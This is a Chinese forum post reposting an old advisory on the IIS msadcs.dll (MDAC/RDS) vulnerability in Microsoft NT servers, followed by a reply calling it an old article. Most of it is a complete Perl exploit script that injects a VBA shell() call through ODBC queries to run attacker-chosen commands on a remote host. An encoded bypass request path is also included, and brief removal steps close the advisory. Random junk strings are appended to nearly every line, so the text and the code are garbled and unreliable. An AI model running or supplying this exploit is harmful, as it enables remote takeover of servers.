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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) .`>l.gmi&  
tK}p05nPhl  
涉及程序: =/JF-#n/MA  
Microsoft NT server I#E(r>KW*  
S50x0$%<W  
描述: =l2Dm  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 fCf#zV[  
@U3foL2\  
详细: X0Z-1bs  
如果你没有时间读详细内容的话,就删除: + i@yZfT  
c:\Program Files\Common Files\System\Msadc\msadcs.dll b}Hl$V(uD  
有关的安全问题就没有了。 Gk"L%Zt)  
,mjfZ*N  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 `o8{qU,*]N  
yaRcBT?  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 xJ2O4ob  
关于利用ODBC远程漏洞的描述,请参看:  Ep\  
O(D5A?tv!  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm nz(q)"A  
A` o?+2s_  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 7}'A)C>J;  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp Bq~hV;9nf  
-<51CDw,  
这里不再论述。 ^\[LrPq e  
EN-H4F  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: JU'WiR bcb  
:Dk@?o@2;C  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 9jMC |oE  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! fEj9R@u+h  
\U!@OX.R'M  
6/[Z178m  
#将下面这段保存为txt文件,然后: "perl -x 文件名" 2fzKdkJhe  
aI={,\  
#!perl pG!(6V-x<E  
# e|b~[|;*=  
# MSADC/RDS 'usage' (aka exploit) script b$v[@"1  
# nxyjL)!)0  
# by rain.forest.puppy coF T2Pq  
# _oJ2]f6KX  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 5@ bc(H  
# beta test and find errors! vXy uEEe  
\6SMn6a4  
use Socket; use Getopt::Std; -}Cc"qm  
getopts("e:vd:h:XR", \%args); =de<WoKnu2  
Vl{~@G,@  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; |;A9A's  
3:[!t%Yb  
if (!defined $args{h} && !defined $args{R}) { QFW0KD`5  
print qq~ 6kt]`H`cfJ  
Usage: msadc.pl -h <host> { -d <delay> -X -v } }rz dm9  
-h <host> = host you want to scan (ip or domain) tS\=<T  
-d <seconds> = delay between calls, default 1 second  2Vp>"  
-X = dump Index Server path table, if available ^oQekga\l  
-v = verbose y#S1c)vU  
-e = external dictionary file for step 5 {q&@nm40  
";PG%_(  
Or a -R will resume a command session l60ikc4$I  
Mn]}s:v  
~; exit;} 2c}B  
44|deE3Z  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; sA/,+aM  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} [O^}rUqq  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} EfKM*;A  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); `FUFK/7 w\  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} OuB2 x=B  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } (E!%v`_0  
RK?jtb=&A  
if (!defined $args{R}){ $ret = &has_msadc; C@%iQ]=  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 3PfiQ|/b  
?E % +}P  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" 5pO]vBT  
. "cmd /c "; 7egq4gN]2Y  
$in=<STDIN>; chomp $in; P,(9cyS{  
$command="cmd /c " . $in ; BSN6|W  
49o\^<4b  
if (defined $args{R}) {&load; exit;} sNL+F  
s~L`53A  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; +<&E3Or  
&try_btcustmr; -:MmSeG7gO  
/K f L+"^|  
print "\nStep 2: Trying to make our own DSN..."; Q\H_t)-  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; d$}&nV/A)  
_0K.Fk*(!  
print "\nStep 3: Trying known DSNs..."; ^[#=L4  
&known_dsn; bV_j`:MD  
47KNT7C  
print "\nStep 4: Trying known .mdbs..."; Wu,S\!  
&known_mdb; G%;kGi`m  
f_rp<R>Uu  
if (defined $args{e}){ w^3|(F  
print "\nStep 5: Trying dictionary of DSN names..."; sMP:sCRC  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } #*^e,FF<  
?z3]   
print "Sorry Charley...maybe next time?\n"; NddO*`8+)  
exit; e^zHw^js  
ZNi +Aw$u  
############################################################################## 6(Vhtr2( *  
9:Si] Pp+S  
sub sendraw { # ripped and modded from whisker k=`$6(>Fz  
sleep($delay); # it's a DoS on the server! At least on mine... zZ: xEc  
my ($pstr)=@_; /[%w*v*'  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Hs$'0:  
die("Socket problems\n"); )&:L'N  
if(connect(S,pack "SnA4x8",2,80,$target)){ +p z}4M`  
select(S); $|=1; ->h5T%sn  
print $pstr; my @in=<S>; J:AMnUOcDi  
select(STDOUT); close(S); QjJfE<h  
return @in; ALXTR%f  
} else { die("Can't connect...\n"); }} A @2Bs 5F  
;}K62LSR  
############################################################################## >La><.z~  
,:UX<6l R  
sub make_header { # make the HTTP request ]ENK8bW  
my $msadc=<<EOT RkA8  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 Wo!;K|~P  
User-Agent: ACTIVEDATA LTXz$Z]  
Host: $ip JRY_ nX  
Content-Length: $clen cS(;Qs]Q  
Connection: Keep-Alive u%B&WwHG  
=ewyQ  
ADCClientVersion:01.06 UV@0gdy[  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 kAo.C Nj7  
y3JMbl[S0  
--!ADM!ROX!YOUR!WORLD! N 9LgU)-Jt  
Content-Type: application/x-varg %j5ywr:  
Content-Length: $reqlen mp1ttGUtM  
v+6e;xl8  
EOT `*_CElpP"  
; $msadc=~s/\n/\r\n/g; t,HFz6   
return $msadc;} vy9dAl  
`5l01nOxJ  
############################################################################## '3Q3lM'lh  
cP rwW 6  
sub make_req { # make the RDS request y}"7e)|t%  
my ($switch, $p1, $p2)=@_; ? JXa~.dA  
my $req=""; my $t1, $t2, $query, $dsn; i=#F)AD^5#  
x-;`-Uo%  
if ($switch==1){ # this is the btcustmr.mdb query `q_<Im%I  
$query="Select * from Customers where City=" . make_shell(); fzPZ|  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . JvL{| KtyU  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} +>tUz D  
}r3~rG<D71  
elsif ($switch==2){ # this is general make table query KY.ZT2k  
$query="create table AZZ (B int, C varchar(10))"; <[i}n55  
$dsn="$p1";} ahGT4d`)9  
z7T0u.4Ss  
elsif ($switch==3){ # this is general exploit table query N`$!p9r  
$query="select * from AZZ where C=" . make_shell(); iqPBsIW  
$dsn="$p1";} ;Gd~YGW^#  
H"Dn]$Q\Z  
elsif ($switch==4){ # attempt to hork file info from index server e.vtEQV9  
$query="select path from scope()"; E=w3=\JP  
$dsn="Provider=MSIDXS;";} Z :nbZHByh  
q.V-LXM  
elsif ($switch==5){ # bad query i$uN4tVKT  
$query="select"; ^4pto$#@O:  
$dsn="$p1";} ]l;*$2w)  
`JURQ:l)3^  
$t1= make_unicode($query); m9":{JI.w  
$t2= make_unicode($dsn); |yY`s6Uq  
$req = "\x02\x00\x03\x00"; ,wj"! o#  
$req.= "\x08\x00" . pack ("S1", length($t1)); 0.;}]v  
$req.= "\x00\x00" . $t1 ; B\CN<<N>dD  
$req.= "\x08\x00" . pack ("S1", length($t2)); K5 KyG  
$req.= "\x00\x00" . $t2 ; Zv!{{XO2;  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; #R&H &1  
return $req;} l#qv 5f  
{?8B,G2r  
############################################################################## I'!/[\_  
v~)LO2y   
sub make_shell { # this makes the shell() statement NXk!qGV2  
return "'|shell(\"$command\")|'";} TzG]WsY_  
=Lp7{09u  
############################################################################## l=m(mf?QBg  
Jjm|9|C,  
sub make_unicode { # quick little function to convert to unicode 9 c3E+  
my ($in)=@_; my $out; Dr#c)P~Wd  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } G}zZQy  
return $out;} h2q/mi5{  
&#w=7L3AW  
############################################################################## gAbD7SE  
XNH4vG |  
sub rdo_success { # checks for RDO return success (this is kludge)  kLP0{A  
my (@in) = @_; my $base=content_start(@in); \2v"YVWw  
if($in[$base]=~/multipart\/mixed/){ ZWS`\M  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} MuSUKBhM  
return 0;} /Ju;MeE9  
wm^J;<T[  
############################################################################## FJd]D[h  
ZIF49`Y4TF  
sub make_dsn { # this makes a DSN for us +}a ]GTBgA  
my @drives=("c","d","e","f"); !*OJ.W&  
print "\nMaking DSN: "; QNl'ZB \  
foreach $drive (@drives) { QeK*j/  
print "$drive: "; B2O}1.  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . 5+wAzVA  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" uAWM \?  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); ^53r/V}%  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; Kde9 $  
return 0 if $2 eq "404"; # not found/doesn't exist nb>7UN.9  
if($2 eq "200") { -(bkr+N  
foreach $line (@results) { 3=L.uXVb  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} ?)#5X_V-q  
} return 0;} S1?-I_t+]  
\oZ5JoO  
############################################################################## *H|M;G  
jt.3P  
sub verify_exists { %?Ev|:i`@  
my ($page)=@_; W='> :H  
my @results=sendraw("GET $page HTTP/1.0\n\n"); DX|# gUAm  
return $results[0];} \0gM o&  
9U%N@Dq`Z  
############################################################################## :*2ud(  
lO_UPC\@fw  
sub try_btcustmr { xagBORg+Bd  
my @drives=("c","d","e","f"); icgSe:Ci  
my @dirs=("winnt","winnt35","winnt351","win","windows"); xoR;=ph  
}_68j8`  
foreach $dir (@dirs) { 5O6hxcMjT  
print "$dir -> "; # fun status so you can see progress #&7}-"Nd  
foreach $drive (@drives) { q')R4=0 K  
print "$drive: "; # ditto [2{1b`e  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; J":,Vd!*-  
$reqlenlen=length( "$reqlen" ); IyLx0[:U  
$clen= 206 + $reqlenlen + $reqlen; 8M`#pN^  
G"XVn~]  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); >#y^;/bb  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} PxS8 n?y  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} 7?%k7f  
Zc`BiLzrIG  
############################################################################## g'm+/pU)w)  
A, LuD.8  
sub odbc_error { %$Aqle[  
my (@in)=@_; my $base; WpRc)g :  
my $base = content_start(@in); ?28N ^  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this y7i*s^ys{  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ?n ZY)  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; *NClfkZ  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 9amaL~m  
return $in[$base+4].$in[$base+5].$in[$base+6];} L-k@-)98  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 5qP:/*+  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . EL9]QI  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} Oal3rb  
a,WICv0E  
############################################################################## t>$kWd{9e;  
&E=>Hj(dTG  
sub verbose { $ . 9V&  
my ($in)=@_; j_. 5r&w  
return if !$verbose; SV~~Q_U9  
print STDOUT "\n$in\n";} I]EbodAyZ,  
Oz%>/zw[h  
############################################################################## p$3sME$L  
DS[#|  
sub save { pj?f?.^  
my ($p1, $p2, $p3, $p4)=@_; _`:1M2=  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; EpX&R,Rxk  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; z3;*Em8Ir  
close OUT;} n*{sTT  
57&b:0`p  
############################################################################## suzZdkMA  
Nqa&_5"  
sub load { l.NEkAYPmH  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; b KN@j'M  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); PU^l.  
@p=<IN>; close(IN); |* ;B  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); 8Y7Q+p|O  
$target= inet_aton($ip) || die("inet_aton problems"); V1 3N}]  
print "Resuming to $ip ..."; 1R1 z  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; l)&X$3?tz  
if($p[1]==1) { Bx4w)9+3  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; zPjHsulK  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; `yH<E+   
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); OZ~5*v  
if (rdo_success(@results)){print "Success!\n";} t_$2CRG#  
else { print "failed\n"; verbose(odbc_error(@results));}} J2xw) +  
elsif ($p[1]==3){ E4~<V=2l  
if(run_query("$p[3]")){ HV{wI1  
print "Success!\n";} else { print "failed\n"; }} [k;\SXDZo  
elsif ($p[1]==4){ <?riU\-]y  
if(run_query($drvst . "$p[3]")){ 2;DuHO1  
print "Success!\n"; } else { print "failed\n"; }} G(G{RAk>  
exit;} 6MT1$7|P&x  
J:V6  
############################################################################## C,ARXW1  
z4jR[x,  
sub create_table { ]);%wy{Ho  
my ($in)=@_; eQp4|rf  
$reqlen=length( make_req(2,$in,"") ) - 28; Y6zbo  
$reqlenlen=length( "$reqlen" ); mR?5G: W~R  
$clen= 206 + $reqlenlen + $reqlen; ,0~n3G  
my @results=sendraw(make_header() . make_req(2,$in,"")); '+?"iVVo  
return 1 if rdo_success(@results); O Hb[qX\  
my $temp= odbc_error(@results); verbose($temp); !`,Sfqij  
return 1 if $temp=~/Table 'AZZ' already exists/; 4'a=pnE$  
return 0;} qQ?"@>PALD  
3c]b)n~Y  
############################################################################## ;h*K}U  
7 /VK##z  
sub known_dsn { +#lM  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go ,^w?6?,&l}  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", ,+meT`'vn  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", B&[M7i  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); $_o-~F2i5  
K1\a#w  
foreach $dSn (@dsns) { YkniiB[/  
print "."; 'E/^8md>  
next if (!is_access("DSN=$dSn")); 2.l Z:VLN  
if(create_table("DSN=$dSn")){ =u2l. CX  
print "$dSn successful\n"; Jrti cK$  
if(run_query("DSN=$dSn")){ 19Mu61  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { t\{'F7  
print "Something's borked. Use verbose next time\n";}}} print "\n";} \]2]/=2tLd  
$Q96,rb}k;  
############################################################################## jr /pj?  
.!$*:4ok  
sub is_access { 6@{(;~r  
my ($in)=@_; ,9}h  
$reqlen=length( make_req(5,$in,"") ) - 28; m'6&9Ja k  
$reqlenlen=length( "$reqlen" ); T>x&T9  
$clen= 206 + $reqlenlen + $reqlen; aB{vFTD5  
my @results=sendraw(make_header() . make_req(5,$in,"")); s:#V(<J  
my $temp= odbc_error(@results); im9G,e  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); -0$55pa/@:  
return 0;} ]b7zJUz  
ur$ _  
############################################################################## ![YX]+jqNp  
Y^8C)p9r  
sub run_query { KxYwJ  
my ($in)=@_; wKZ$iGMbz  
$reqlen=length( make_req(3,$in,"") ) - 28; Z~oo;xE  
$reqlenlen=length( "$reqlen" ); 4e~A1-  
$clen= 206 + $reqlenlen + $reqlen; rz wF~-m +  
my @results=sendraw(make_header() . make_req(3,$in,"")); [S HXJ4P*  
return 1 if rdo_success(@results); ,2j&ko1  
my $temp= odbc_error(@results); verbose($temp); JJ}0gZ   
return 0;} s>;v!^N?u  
q3.j"WaP  
############################################################################## -(bXSBs#  
5R@  
sub known_mdb { Co (.:z~  
my @drives=("c","d","e","f","g"); y.#")IAF  
my @dirs=("winnt","winnt35","winnt351","win","windows"); !MYSfPdS  
my $dir, $drive, $mdb; 4 N H  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; 42e|LUZg  
^?cz,N~  
# this is sparse, because I don't know of many Gn|F`F  
my @sysmdbs=( "\\catroot\\icatalog.mdb", gVq;m>\|F  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 4]G?G]lS>  
"\\system32\\certmdb.mdb", pk?w\A}  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% *BR~}1 i  
4}_j`d/8|  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", F~%]6^$w  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 4 Y ;Nm1 @  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", A'q#I>j`  
"\\cfusion\\cfapps\\security\\realm_.mdb", GN ]cDik  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", _,xc[ 07  
"\\cfusion\\database\\cfexamples.mdb", Bt> }rYz1  
"\\cfusion\\database\\cfsnippets.mdb", [`{Z}q&  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", tk!t Y8j  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", "^w]_^GD$d  
"\\cfusion\\brighttiger\\database\\cleam.mdb", @ zs'Y8  
"\\cfusion\\database\\smpolicy.mdb", U}6.h&$  
"\\cfusion\\database\cypress.mdb", |B'9\OkP[=  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", NLUT#!Gr  
"\\website\\cgi-win\\dbsample.mdb", (g[h 8 c  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", b7 NM#Hb  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" =U#dJ^4P  
); #these are just v@Gl|29_  
foreach $drive (@drives) { N}pw74=1  
foreach $dir (@dirs){ /4a._@1h[y  
foreach $mdb (@sysmdbs) { \R|4( +]x  
print "."; (d(hR0HKE  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 12;8o<~  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; lV1G<qP  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ iz8Bf;  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 4US"hexE<  
} else { print "Something's borked. Use verbose next time\n"; }}}}} e?7& M  
aa>xIW,u  
foreach $drive (@drives) { |+iws8xK?  
foreach $mdb (@mdbs) { Pa{%\dsv  
print "."; jp0<pw_  
if(create_table($drv . $drive . $dir . $mdb)){ S/D^  
print "\n" . $drive . $dir . $mdb . " successful\n"; @!`Xl*l  
if(run_query($drv . $drive . $dir . $mdb)){ Qa.<K{m#?  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; ( M7pT  
} else { print "Something's borked. Use verbose next time\n"; }}}} G '6@+$ppS  
} NF+iza;DP  
Q$HG  
############################################################################## `Jzp Sw  
_9=Yvc=  
sub hork_idx { a"FCZ.O1  
print "\nAttempting to dump Index Server tables...\n"; +6';1Nb@  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; vH#huZA?7  
$reqlen=length( make_req(4,"","") ) - 28; MC<PM6w  
$reqlenlen=length( "$reqlen" ); ~ vJ,`?  
$clen= 206 + $reqlenlen + $reqlen; |QU <e  
my @results=sendraw2(make_header() . make_req(4,"","")); :/ Q   
if (rdo_success(@results)){ )xbHCoU,  
my $max=@results; my $c; my %d; @^T1XX  
for($c=19; $c<$max; $c++){ l y(>8F  
$results[$c]=~s/\x00//g; TNGU6j}oq  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; 5<UVD:~z  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; $4/yZaVb  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; #7MUJY+ 9  
$d{"$1$2"}="";} E=>FjCsu<-  
foreach $c (keys %d){ print "$c\n"; } (+B5|_xQu  
} else {print "Index server doesn't seem to be installed.\n"; }} gLy&esJl1  
qWODs  
############################################################################## ; mZW{j  
Q aS\(_  
sub dsn_dict { ^R# E:3e  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); B]uc<`f  
while(<IN>){ i70w rW#k  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ApAO/q  
next if (!is_access("DSN=$dSn")); MBqt&_?K  
if(create_table("DSN=$dSn")){ i(>4wK!!  
print "$dSn successful\n"; _i20|v   
if(run_query("DSN=$dSn")){ wM2*#  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { }Q=!Y>Tc  
print "Something's borked. Use verbose next time\n";}}} cNM3I,o7  
print "\n"; close(IN);} SV2M+5#;  
w-Da~[J  
############################################################################## ><gG8MH0'  
yF"1#{*y  
sub sendraw2 { # ripped and modded from whisker jO!y_Y]B  
sleep($delay); # it's a DoS on the server! At least on mine... =Ur}~w&H8  
my ($pstr)=@_; WJ4li@T7V  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || rvnT6Ve  
die("Socket problems\n"); P] UJ0b  
if(connect(S,pack "SnA4x8",2,80,$target)){ 4}4Pyjh  
print "Connected. Getting data"; NhaI<J  
open(OUT,">raw.out"); my @in; Si6al78  
select(S); $|=1; print $pstr; A?-oL='  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} (2:/8\_P  
close(OUT); select(STDOUT); close(S); return @in; r[lF<2&*R  
} else { die("Can't connect...\n"); }} gx\&_) w N  
vK _?<>  
############################################################################## HN&Z2v   
rdJ d#S  
sub content_start { # this will take in the server headers 3td)'}  
my (@in)=@_; my $c; &?*V0luP)  
for ($c=1;$c<500;$c++) { @8;W\L$~1  
if($in[$c] =~/^\x0d\x0a/){ E}40oID  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } y5do1Z  
else { return $c+1; }}} =gJb^ Gx(w  
return -1;} # it should never get here actually ReM=eS  
PzA|t;*  
############################################################################## ?i06f,-  
(fCXxyZrr  
sub funky { 0Sgaem`  
my (@in)=@_; my $error=odbc_error(@in); rz@=pR :  
if($error=~/ADO could not find the specified provider/){ BPdfYu ,il  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 59O?_F9  
exit;} ZE2$I^DY-  
if($error=~/A Handler is required/){ q.2ykL  
print "\nServer has custom handler filters (they most likely are patched)\n"; O'W0q;rT  
exit;} uoXAQ6k  
if($error=~/specified Handler has denied Access/){ Ie4hhW  
print "\nServer has custom handler filters (they most likely are patched)\n"; 2w-51tqm  
exit;}} {FG|\nPw  
ZG du|  
############################################################################## H03jDM8Q  
aN $}?  
sub has_msadc { '8T=~R6  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); pTyi!:g3W  
my $base=content_start(@results); n Ml%'[u  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); '^FGc  
return 0;} jD`d#R  
1s{^X -  
######################## y:v xE8$Q  
IW% |G  
;XDz)`c  
解决方案: N]<!j$pOz  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll _+^ 2^TW  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 l?q%?v8  
\J6hI\/4^  
拿出来充数 哈哈
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